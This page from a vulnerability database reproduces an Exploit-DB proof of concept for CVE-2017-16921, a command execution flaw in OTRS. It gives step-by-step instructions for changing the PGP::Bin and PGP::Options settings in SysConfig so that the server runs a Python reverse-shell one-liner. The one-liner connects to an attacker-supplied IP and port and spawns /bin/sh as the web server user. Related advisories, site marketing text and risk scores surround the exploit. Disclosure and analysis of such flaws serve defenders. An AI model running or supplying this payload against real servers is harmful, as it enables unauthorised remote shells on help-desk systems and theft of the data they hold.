Lucene search
K

OTRS 5.0.x/6.0.x - Remote Command Execution (1)

🗓️ 21 Jan 2018 00:00:00Reported by Bæln0rnType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 346 Views

OTRS 5.0.x/6.0.x Remote Command Execution CVE-2017-16921

Related
Code
ReporterTitlePublishedViews
Family
0day.today
OTRS 5.0.x/6.0.x - Remote Command Execution Vulnerability
21 Jan 201800:00
zdt
0day.today
OTRS 6.0.1 - Remote Command Execution Exploit (2)
22 Apr 202100:00
zdt
CNVD
OTRS Arbitrary Command Execution Vulnerability
18 Dec 201700:00
cnvd
CVE
CVE-2017-16921
8 Dec 201715:00
cve
Cvelist
CVE-2017-16921
8 Dec 201715:00
cvelist
Debian
[SECURITY] [DLA 1212-1] otrs2 security update
19 Dec 201720:42
debian
Debian
[SECURITY] [DSA 4066-1] otrs2 security update
17 Dec 201714:11
debian
Debian CVE
CVE-2017-16921
8 Dec 201715:00
debiancve
Tenable Nessus
Debian DLA-1212-1 : otrs2 security update
20 Dec 201700:00
nessus
Tenable Nessus
Debian DSA-4066-1 : otrs2 - security update
18 Dec 201700:00
nessus
Rows per page
# Exploit Title: OTRS 5.0.x/6.0.x - Remote Command Execution (1) 
# Date: 21-01-2018
# Exploit Author: Bæln0rn
# Vendor Homepage: https://www.otrs.com/
# Software Link: http://ftp.otrs.org/pub/otrs/
# Version: 4.0.1 - 4.0.26, 5.0.0 - 5.0.24, 6.0.0 - 6.0.1
# Tested on: OTRS 5.0.2/CentOS 7.2.1511
# CVE : CVE-2017-16921

CVE-2017-16921: 
"In OTRS 6.0.x up to and including 6.0.1, OTRS 5.0.x up to and including 5.0.24, and OTRS 4.0.x up to and including 4.0.26, an attacker who is logged into OTRS as an agent can manipulate form parameters (related to PGP) and execute arbitrary shell commands with the permissions of the OTRS or web server user."

OTRS 5.0.2 PoC:
1. Authenticate to an agent account. <path>/index.pl

2. Open "Admin" tab. <path>/index.pl?Action=Admin

3. Open "SysConfig" link. <path>/index.pl?Action=AdminSysConfig

4. Find the "Crypt:PGP" subgroup. <path>/index.pl?Action=AdminSysConfig;Subaction=Edit;SysConfigSubGroup=Crypt%3A%3APGP;SysConfigGroup=Framework

5. Manipulate form parameters and use "Update" button to save:

"PGP"
-Default: No
-New: Yes

"PGP::Bin"
-Default: /usr/bin/gpg 
-New: <shell command including executables the webserver user has execute permissions for, no options>
-PoC (Reverse Python Shell): /usr/bin/python

"PGP::Options"
-Default: --homedir /opt/otrs/.gnupg/ --batch --no-tty --yes
-New: <any command options>
-PoC (Reverse Python Shell): -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<YOURIP>",<YOURLISTENINGPORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

6. Open "Admin" tab. <path>/index.pl?Action=Admin

7. Open "PGP Keys" to execute saved command.  <path>/index.pl?Action=AdminPGP

Behavior will vary based on commands. The above PoC opened a stable, no TTY, reverse shell under the "apache" user. The page eventually timed out with a 502 error, but the web application seems otherwise unaffected.  Killing the shell before timeout advances the web application to the proper "PGP Management" page. The exploit can be repeated unlimited times with step #7 above.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jan 2018 00:00Current
9High risk
Vulners AI Score9
CVSS 38.8
CVSS 29
EPSS0.33869
346